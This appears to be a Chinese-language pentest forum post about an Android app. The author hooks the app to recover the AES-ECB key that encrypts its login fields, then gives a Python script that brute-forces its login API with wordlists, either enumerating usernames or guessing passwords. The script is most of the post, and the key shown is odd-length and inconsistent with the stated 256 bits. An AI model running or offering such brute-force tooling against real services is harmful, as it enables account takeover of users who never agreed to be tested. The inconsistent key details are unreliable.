1#
測試一個 APP, 發現存在各種模擬器、代理檢測之後終於可以正常抓包了,抓包中又發現了一個難解的問題,就是對請求中的帳號和密文信息進行加密了。
2#
用算法助手 HOOK 一下該 APP,算法助手使用如下:
首先啟用 LSP 框架,作用域需要選擇系統框架和需要調試的 APP。
算法助手中的設置打開算法分析,其他的不用更改。
抓包請求參數如下:
可以看到其中的 loginName 和 passwd 參數加密了。
查看一下算法助手是否 hook 到了加密算法。
主要算法內容看著一塊,上面的內容可以解析為:
AES 算法 ECB 模式 填充為 PKCS5 密鑰長度為 256 位
其中的加密密鑰就是 key,可以利用在線加解密去驗證一下這一塊內容,如下:
完成正確即代表 HOOK 到算法了,接下來可以利用 autodecoder 作為 burp 中間件進行轉發,實現加解密自動化,我本地 burp 沒裝那個插件,下面提供一個直接用 Python 進行加解密算法的例子。
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii
import argparse
# HTTP請求
base_url = "https://XXXX/api"
original_headers = {
"appId": "1218209dc6d54e60bcb17bf28569c947",
"timestamp": "2025-04-14 10:22:01",
"Content-Type": "application/x-www-form-urlencoded",
"Host": ":XXXX",
"Connection": "Keep-Alive",
"Accept-Encoding": "gzip",
"User-Agent": "okhttp/3.8.1"
}
original_login_name = "667A4287C89AC3F5A97C966817DB9B9E"
original_password = "096AABFD2432F788F15A131F613B19D3"
# 加密參數
key_hex = "69686c69682a303033374a4"
key_bytes = binascii.unhexlify(key_hex)
mode = AES.MODE_ECB
padding_method = 'pkcs7'
block_size = AES.block_size
def encrypt(plaintext, key, mode, padding_method):
"""使用提供的參數進行 AES 加密。"""
cipher = AES.new(key, mode)
plaintext_bytes = plaintext.encode('utf-8')
padded_plaintext = pad(plaintext_bytes, block_size, style=padding_method)
ciphertext_bytes = cipher.encrypt(padded_plaintext)
ciphertext_hex = binascii.hexlify(ciphertext_bytes).decode('utf-8')
return ciphertext_hex
def read_dictionary_from_file(file_path):
"""從文件中讀取字典,每行一個條目。"""
try:
with open(file_path, 'r', encoding='utf-8') as f:
return [line.strip() for line in f]
except FileNotFoundError:
print(f"錯誤: 文件未找到: {file_path}")
return []
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="自動化爆破登錄接口。")
parser.add_argument("-m", "--mode", type=int, choices=[1, 2], required=True,
help="爆破模式: 1 - 只爆破用戶名, 2 - 只爆破密碼")
parser.add_argument("-u", "--userfile", type=str, help="包含用戶名字典的文件路徑")
parser.add_argument("-p", "--passfile", type=str, help="包含密碼字典的文件路徑")
args = parser.parse_args()
if args.mode == 1:
if not args.userfile:
print("錯誤: 在爆破用戶名模式下,必須提供用戶名字典文件。")
exit(1)
usernames = read_dictionary_from_file(args.userfile)
if not usernames:
exit(1)
print("開始爆破用戶名...")
for username in usernames:
encrypted_username = encrypt(username, key_bytes, mode, padding_method)
data = {
"loginName": encrypted_username,
"passWord": original_password,
"deviceID": "",
"controllerName": "Login",
"methodsName": "UserLogin"
}
try:
response = requests.post(base_url, headers=original_headers, data=data)
print(f"嘗試用戶名 (明文): {username}, 加密後: {encrypted_username}")
print(f"響應狀態碼: {response.status_code}")
print(f"響應內容: {response.text}")
print("-" * 30)
except requests.exceptions.RequestException as e:
print(f"發送請求時發生錯誤: {e}")
print("-" * 30)
print("用戶名爆破完成。")
elif args.mode == 2:
if not args.passfile:
print("錯誤: 在爆破密碼模式下,必須提供密碼字典文件。")
exit(1)
passwords = read_dictionary_from_file(args.passfile)
if not passwords:
exit(1)
print("開始爆破密碼...")
for password in passwords:
encrypted_password = encrypt(password, key_bytes, mode, padding_method)
data = {
"loginName": original_login_name,
"passWord": encrypted_password,
"deviceID": "",
"controllerName": "Login",
"methodsName": "UserLogin"
}
try:
response = requests.post(base_url, headers=original_headers, data=data)
print(f"嘗試密碼 (明文): {password}, 加密後: {encrypted_password}")
print(f"響應狀態碼: {response.status_code}")
print(f"響應內容: {response.text}")
print("-" * 30)
except requests.exceptions.RequestException as e:
print(f"發送請求時發生錯誤: {e}")
print("-" * 30)
print("密碼爆破完成。")
實現用戶名枚舉操作: